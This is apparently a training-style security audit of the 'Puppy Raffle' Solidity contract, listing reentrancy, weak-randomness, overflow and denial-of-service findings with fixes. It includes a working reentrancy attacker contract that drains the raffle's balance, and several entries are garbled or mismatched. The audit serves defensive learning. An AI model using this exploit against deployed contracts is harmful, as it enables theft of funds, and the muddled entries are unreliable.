Protocol Audit Report

Version 1.0

Cyfrin.io

July 7, 2024

Puppy Raffle Audit Report

Mohammad Ahadinejad

Jul 7, 2023

Prepared by: [Mohammad Ahadinejad] Lead Security Researcher:

- Mohammad Ahadinejad

Table of Contents

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner. # Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

commit hash:

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
-- PuppyRaffle.sol
```

Roles

- Owner: The only one who can change the `feeAddress`, denominated by the `_owner` variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array. # Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	7
Gas	2
Total	14

Findings

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description The `PuppyRaffle::refund` does not follow CEI (Checks, Effects, Intractions). As a result this enables paticipants to drain all of the contract's balance.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );
@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);
```

```
        emit RaffleRefunded(playerAddress);
    }
```

Impact A Hacker could call refund function in Recieve or fallback function multiple times untill all contract's balance drained.

Proof of Concepts

PoC

Place the following in to `PuppyRaffleTest.t.sol`

```
function test_reentrancy() public {
        address[] memory players = new address[](4);
        players[0] = address(1);
        players[1] = address(2);
        players[2] = address(3);
        players[3] = address(4);
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
        Attacker attacker = new Attacker(puppyRaffle);
        vm.deal(address(attacker), 1 ether);
        console.log("raffle balance: ", address(puppyRaffle).balance);
        console.log("attacker balance: ", address(attacker).balance);
        attacker.attack();
        console.log("raffle balance: ", address(puppyRaffle).balance);
        console.log("attacker balance: ", address(attacker).balance);
    }
```

And this contract as well

```
    contract Attacker {
    PuppyRaffle public puppyRaffle;
    uint256 entranceFee = 1e18;
    uint256 index = 0;

    constructor(PuppyRaffle _puppyRaffleAddress) {
        puppyRaffle = _puppyRaffleAddress;
    }

    function attack() public {
        address[] memory newPlayers = new address[](1);
        newPlayers[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(newPlayers);
        index = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(index);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(index);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Recommended mitigation To prevent this, we should have the `PuppyRaffle::refund` fundction update the `players` array before making the external call.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );
+     players[playerIndex] = address(0);
+     emit RaffleRefunded(playerAddress);
      payable(msg.sender).sendValue(entranceFee);
-     players[playerIndex] = address(0);
-     emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to predict the winner and influence or predict the winning puppy

Description Hashing `msg.winner`, `block.timestamp` and `block.difficulty` together creates a predictable find number. Malicious users can manipulate these values of know them ahead of time to choose the winner of the raffle themselves.

Note: This means users could front-run this function and call `refund`if they see are not the winner.

Impact Any user can influence of the raffle, wining the money and selecting the `reset` puppy

Proof of Concepts 1. Validors can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. 2. User can mine/manipulate their `msg.sedner` value to result in their address being used to generated the winner. 3. Users can revert their `selectWinner` transaction if their dont like the resulting puppy.

Recommended mitigation Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description In solidity versions perior to `0.8.0` Integers were subject to overflows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myvar = myVar + 1
// 0
```

Impact In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for `feeAddres` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permenantly stuck in the contract.

Proof of Concepts 1. We conclude a raffle of 4 players. 2. We then have 89 players enter a new raffle, and conclude the raffel 3. Second raffle `totalFees` are less than the first one due to the overflow. 4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
require(
    address(this).balance == uint256(totalFees),
    "PuppyRaffle: There are currently players active!"
);
```

Although you could use `selfdestruct` to send eth to this contract in order for the calues to match the fees, This is clearly not the intended design of the protocol.

Recommended mitigation 1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`. 2. You could also use `safeMath` library of openzeppelin for version 0.7.6 of solidity. However you still have a hard time with `uint64` type if too many fees are collected. 3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees),"PuppyRaffle:
   There are currently players active!"
```

There are more attack vectors with that final require. So we recommend removing it regardless.

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.

Description `PuppyRaffle::enterRaffle` loops through players to check for duplicates. However, the longer `PuppyRaffle::players` is, the more checks a new player will have to make. This means the gas cost for players increase alongside the players number due to the more checks are needed.

Impact The gas cost for entrants increase as more players enter the raffle. discouraging new players enter the raffle and causing a rush at the start of the raffle to be one of the first entrants. Hackers could intentionally make the `PuppyRaffle::players` array so big that no one enters gauranting themselves to win.

Proof of Concepts If we have two sets of 100 players, The gas cost will be such as :

- first 100 players: ~6252047
- second 100 players: ~18068137

Which is aproximately 3X more gas need for second group to enter the raffle.

PoC

Place the following code in `PuppyRaffle::PuppyRaffleTest.t.sol`

```
        function test_DenialOfService() public {
            vm.txGasPrice(1);
            uint256 playersNum = 100;
            address[] memory players1 = new address[](playersNum);
            for (uint256 i = 0; i < playersNum; i++) {
                players1[i] = address(i);
            }
            uint256 gasStart1 = gasleft();
            PuppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                players1);
            uint256 gasEnd1 = gasleft();
            uint256 gasUsed1 = (gasStart1 - gasEnd1) * tx.gasprice;
            console.log("amount of gas used for first 100 players: ",
                gasUsed1);

            address[] memory players2 = new address[](playersNum);
            for (uint256 i = 0; i < playersNum; i++) {
                players2[i] = address(i + playersNum);
            }
            uint256 gasStart2 = gasleft();
            PuppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                players2);
            uint256 gasEnd2 = gasleft();
            uint256 gasUsed2 = (gasStart2 - gasEnd2) * tx.gasprice;
            console.log("amount of gas used for second 100 players: ",
                gasUsed2);

            assert(gasUsed1 < gasUsed2);
        }
    ```

```
```

```
</details>

**Recommended mitigation**

1. Consider allowing duplicates. Users can make new wallet addresses
   anyway, so a duplicate check doesn't prevent the same person from
   entering multiple times.

2. Consider using a mapping to check for duplicates. This would allow
   constant time lookup of wheter a user has already entered.

3. Alternatively, you could use [openZeppelin's `EnumerableSet` library
   ]
   (https://docs.openzeppelin.com/contracts/5.x/api/utils#EnumerableSet
     ).

### [M-2] Unsafe cast of `PuppyRaffle:fee` looses fees
**Description**
In solidity versions perior to `0.8.0` Integers were subject to
   overflows.

### [M-3] Smart contract wallets raffle winners without a `recive` or `
   fallback` function will block the start of a new contest
**Description**
The `PuppyRaffle::selectWinner` function is responsible for restting
   the lottery. However, if the winner is smart contract that rejects
   payment, the lottery would not be able to restart.
Users could easily call the `selectWinner` function again and non-
   wallet entrants could enter, but it could cost a lot of gas.

**Impact**
The `PuppyRaffle::selectWinner` function could revert many times,
   making a  lottery reset difficult.
Also true winners would not get paid out and someone else could take
   the money!

**Recommended mitigation**
1. Do not allow smart contract wallet entrants (not recommended).
2. Create mapping of addresses -> payout amountsso winners can pull
   thei funds out themselves with a new `climPrize` function, putting
   the ownes on the winner to claim their prize (recommended).

### [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-
   existant player and for first player who enter the raffle, causing a
    player at index 0 to incorrectly think he is not entered the raffle

**Description**
If a player is in the `PuppyRaffle::players` array at index 0, this
   will return 0, but according to natspec, it will also return 0 if
   the player is not in the array

```

~~~
```solidity
function getActivePlayerIndex(
        address player
    ) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
    }
~~~

Impact A player at index 0 may incorrectly think he is not entered the raffle

Recommended mitigation The easiest recomendation would be to revert, if the player isn not in the array instead of returning 0. you could also reserve the 0'th position for any raffle. the best sollution might be to return an `int256` where the function returns -1 if the player is not in `players` array

[I-1] Solidity pragma should be sepecific, not wide

Description Consider using a specific version of solidity in your contracts instead of the wide version. for example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.0.8;`

[I-2] Using old versions of solidity is not recomended

Description solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks.

Recommended mitigation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Description Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 74

  ```
          feeAddress = _feeAddress;
  ```

- Found in src/PuppyRaffle.sol Line: 220

  ```
          feeAddress = newFeeAddress;
  ```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not best practice

Recommended mitigation

```
+ uint256 playersLength = players.length;
+ for (uint256 i = 0; i < playersLength - 1; i++) {
- for (uint256 i = 0; i < players.length - 1; i++) {
+             for (uint256 j = i + 1; j < playersLength; j++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
                 require(
                     players[i] != players[j],
                     "PuppyRaffle: Duplicate player"
                 );
             }
         }
```

[I-5] Use of magic numbers is discouraged

Description It's much more readable if the numbers are given a name.

Recommended mitigation

```
- uint256 prizePool = (totalAmountCollected * 80) / 100;
- uint256 fee = (totalAmountCollected * 20) / 100;
+ uint256 constant PRICE_POOL_PERCENTAGE = 80;
+ uint256 constant FEE_PERCENTAGE = 20;
+ uint256 constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events

[I-7] The `PuppyRaffle::_isActivePlayer` is never be used and could be removed

[G-1] Unchanged state variables should be declared constant or immutable

Imapct Reading from starage variable is more expensive than reading from immutable or constant variable.

Recommended mitigation Instances:

- `PuppyRaffle::raffleDuration` sould be immutable.
- `PuppyRaffle::commonImageUri` sould be constant.
- `PuppyRaffle::rareImageUri` sould be constant.
- `PuppyRaffle::legendaryImageUri` sould be constant.

[G-2] Storage variable in a loop should be catched

description Everytime you call `players.length`you actually read from storage, as opposed to memory which is more gas efficient.

Recommended mitigation

```
+ uint256 playersLength = players.length;
+ for (uint256 i = 0; i < playersLength - 1; i++) {
- for (uint256 i = 0; i < players.length - 1; i++) {
+             for (uint256 j = i + 1; j < playersLength; j++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
                 require(
                     players[i] != players[j],
                     "PuppyRaffle: Duplicate player"
                 );
             }
         }
```